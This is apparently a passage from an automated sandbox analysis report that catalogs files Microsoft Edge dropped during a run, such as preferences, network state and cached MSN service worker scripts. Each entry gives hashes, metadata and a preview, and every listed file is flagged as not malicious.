MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39490.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3de8a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a59a25c0-9440-4cba-b2d5-dc2c17c331ae.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ff3144ec-e9e8-448e-af7d-f010f1305e11.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1546
Entropy (8bit):	5.339250978967124
Encrypted:	false
SSDEEP:	24:YcFGJ/I3RdsyiZVMdmw6C1VdshpZFRudFGRw6ma3yeesw6maPsRdsSkOfJZC52HV:YcgCzsyWuRstfc7leeBkEsMnCgHjbxo+
MD5:	9007CC00A6AD6EBDE9406CD40DD04E20
SHA1:	B96A49468FB1F6E4CC34AD4B7B4C1F3E599539C4
SHA-256:	33C48B936EB4CB7FAD6379EF6EE2E07DDFB179244157072E4082F90A8E02C980
SHA-512:	CE1CEE8485B4B229406A6806FDD8B65B73DD946B14A5DB94C3F4F5A1005471F0766E29DBF6AD4B76BFC29B7A2C1DC5A7E18E04F9A0E773AB14F27CDAEDB5FECB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378908927900748","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378908946793628","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12488
Entropy (8bit):	5.205468443677258
Encrypted:	false
SSDEEP:	192:st+J99QTryDigabatSuypJsAnsZihUkULEC8WbV+F34QA66WoaFIMYcP9YJ:st+PGKSu4JsAnfhKbGIQx6WoaTYv
MD5:	E4F6CB2F5983661D78DE4BF418C577DF
SHA1:	C02F3F3A264D29BF66DFEE5EAF94280CEB964679
SHA-256:	E19F62104913D33BD466E297437A6BFE286C794FA5D27060E83E90CEF7D1ACD1
SHA-512:	C2D4A5EF910E574F5B5D0BE9C50981BC25359A9E9A5CD49CD8930E6DB5056A979F6032F3AD1854EE2EE2519CD69042598645AD08607E0A7952190578C22872FA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376316924902331","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3d216.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12488
Entropy (8bit):	5.205468443677258
Encrypted:	false
SSDEEP:	192:st+J99QTryDigabatSuypJsAnsZihUkULEC8WbV+F34QA66WoaFIMYcP9YJ:st+PGKSu4JsAnfhKbGIQx6WoaTYv
MD5:	E4F6CB2F5983661D78DE4BF418C577DF
SHA1:	C02F3F3A264D29BF66DFEE5EAF94280CEB964679
SHA-256:	E19F62104913D33BD466E297437A6BFE286C794FA5D27060E83E90CEF7D1ACD1
SHA-512:	C2D4A5EF910E574F5B5D0BE9C50981BC25359A9E9A5CD49CD8930E6DB5056A979F6032F3AD1854EE2EE2519CD69042598645AD08607E0A7952190578C22872FA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376316924902331","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40bb4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12488
Entropy (8bit):	5.205468443677258
Encrypted:	false
SSDEEP:	192:st+J99QTryDigabatSuypJsAnsZihUkULEC8WbV+F34QA66WoaFIMYcP9YJ:st+PGKSu4JsAnfhKbGIQx6WoaTYv
MD5:	E4F6CB2F5983661D78DE4BF418C577DF
SHA1:	C02F3F3A264D29BF66DFEE5EAF94280CEB964679
SHA-256:	E19F62104913D33BD466E297437A6BFE286C794FA5D27060E83E90CEF7D1ACD1
SHA-512:	C2D4A5EF910E574F5B5D0BE9C50981BC25359A9E9A5CD49CD8930E6DB5056A979F6032F3AD1854EE2EE2519CD69042598645AD08607E0A7952190578C22872FA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376316924902331","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF43489.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12488
Entropy (8bit):	5.205468443677258
Encrypted:	false
SSDEEP:	192:st+J99QTryDigabatSuypJsAnsZihUkULEC8WbV+F34QA66WoaFIMYcP9YJ:st+PGKSu4JsAnfhKbGIQx6WoaTYv
MD5:	E4F6CB2F5983661D78DE4BF418C577DF
SHA1:	C02F3F3A264D29BF66DFEE5EAF94280CEB964679
SHA-256:	E19F62104913D33BD466E297437A6BFE286C794FA5D27060E83E90CEF7D1ACD1
SHA-512:	C2D4A5EF910E574F5B5D0BE9C50981BC25359A9E9A5CD49CD8930E6DB5056A979F6032F3AD1854EE2EE2519CD69042598645AD08607E0A7952190578C22872FA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376316924902331","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF48fc9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12488
Entropy (8bit):	5.205468443677258
Encrypted:	false
SSDEEP:	192:st+J99QTryDigabatSuypJsAnsZihUkULEC8WbV+F34QA66WoaFIMYcP9YJ:st+PGKSu4JsAnfhKbGIQx6WoaTYv
MD5:	E4F6CB2F5983661D78DE4BF418C577DF
SHA1:	C02F3F3A264D29BF66DFEE5EAF94280CEB964679
SHA-256:	E19F62104913D33BD466E297437A6BFE286C794FA5D27060E83E90CEF7D1ACD1
SHA-512:	C2D4A5EF910E574F5B5D0BE9C50981BC25359A9E9A5CD49CD8930E6DB5056A979F6032F3AD1854EE2EE2519CD69042598645AD08607E0A7952190578C22872FA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376316924902331","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35113
Entropy (8bit):	5.555694285218876
Encrypted:	false
SSDEEP:	768:3JkiRrWP1xfw58F1+UoAYDCx9Tuqh0VfUC9xbog/OVsiv+Prwf0cmqKpEtus:3JkiRrWP1xfw5u1jad6+8f0cjJtH
MD5:	AFB2557ACC3953E0D1D9288A152D1665
SHA1:	BB1838AD05E88B01B8E9C8A1F5201423E4827897
SHA-256:	D2AF30ABE98CAEF3D7F4CC36FDAAEDE71DC60E24A575C03BBEB9742BC0689EC7
SHA-512:	8BCC99EB743728D0A174C194E968183B82518111720878E3CE128988884951F9119FAE514E5B686BA573AD17074C3B998B26F3B446502111AAAC992F939B6935
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376316924315857","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376316924315857","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3ea13.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35113
Entropy (8bit):	5.555694285218876
Encrypted:	false
SSDEEP:	768:3JkiRrWP1xfw58F1+UoAYDCx9Tuqh0VfUC9xbog/OVsiv+Prwf0cmqKpEtus:3JkiRrWP1xfw5u1jad6+8f0cjJtH
MD5:	AFB2557ACC3953E0D1D9288A152D1665
SHA1:	BB1838AD05E88B01B8E9C8A1F5201423E4827897
SHA-256:	D2AF30ABE98CAEF3D7F4CC36FDAAEDE71DC60E24A575C03BBEB9742BC0689EC7
SHA-512:	8BCC99EB743728D0A174C194E968183B82518111720878E3CE128988884951F9119FAE514E5B686BA573AD17074C3B998B26F3B446502111AAAC992F939B6935
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376316924315857","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376316924315857","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.837143359375392
Encrypted:	false
SSDEEP:	48:F2emztrdDEfBSXrd6NgtLrdDnBx0rdcBH:F1mztxDE2x6NgtLxDAxa
MD5:	B0D902B54ED77B94362AE3B34778E7DC
SHA1:	5B7EAD0064631E455EB6EE4832F068F76D63A9A1
SHA-256:	4096EB655DCF161BC2F1F51BCC7D581D79E337BC3F1200196E9A04A8EDD4BC2B
SHA-512:	32EDD50092B7B19507F23C2454160DD77A152597949E13C321DA530BA1444D38EA59926D347122FCC0B565F6795F48F30CD8456AE06472D516AAF31365008046
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2i.d.m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.229571766909829
Encrypted:	false
SSDEEP:	6:HURbx1Xs1923oH+TcwtE/a252KLlVURbI+q2P923oH+TcwtE/a2ZIFUv:kbxYeb8xL8Jv4Yeb8J2FUv
MD5:	7E6615D28BD44E59062A7FC79CD7E3A6
SHA1:	0C4BF6D93DE381BB9167DC6AE67F3A9C01BA57E5
SHA-256:	26D8F957D507D79CFECE8EF7C1D29BD359827FCF96640E26A64D44AE5B72707D
SHA-512:	8FAC1F6A5F66994639CCEA3BF5737CF058F0FF11E405C04B26E3AD8D9ED0B200AA2957B6642C790F07C739AAA061668A3EE438D7B7CFBF1A5F6481715F9B5724
Malicious:	false
Preview:	2024/11/17-06:35:37.784 1d98 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/17-06:35:37.847 1d98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114471
Entropy (8bit):	5.578811089976454
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKHQcM6kqm/lD2:d9LyxPXfOxr1lMe1nL/CL/TXEmilRm12
MD5:	27911D9EB02269848A35706BD9FF5C83
SHA1:	9B23FE85C523784089F53BB37E79A120BF2520A1
SHA-256:	611C1B48005F8942DE1A1438A30E5A4242EF718F547D4B130EAD0A172E4D901C
SHA-512:	25FA787A616265C8F5D0770375186B32AB5009BD22906EB29931841410D61E80CE429012AD43F006B99039CA564CE2B81BF4551B417E94B17BF192F56CD2503B
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188977
Entropy (8bit):	6.387099332500342
Encrypted:	false
SSDEEP:	3072:EMJFopWSmt48iw/PG2ENL/B7MFOI1hy1BxtFXSbZ:+1pwm2SL/VTWyzkt
MD5:	0876DBB0A09E9DD1A3D77AEE72EE6AAB
SHA1:	64DA6AB19F64A45DB91C15624E5C0519B46B02FF
SHA-256:	29D0AFED774CD79EB04F94E936A318CC02DD28AC70113DE6602FB9D5EC5B04B3
SHA-512:	126C167D5E479AB6022FE0E50F3D6282E4E4CE5F6C9E2AB2B5BBE1A0D98828C2EFC36EDD727D6183EE0575E31FFCD3B2E2B1618A5632D742CE3AF0AE8402263E
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;"....x..........,T.8..`,.....L`.....,T...`......L`......Rc^BkW....exports...Rc...B....module....Rc6BS"....define....Rb..:.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.RMR.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....8Z...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
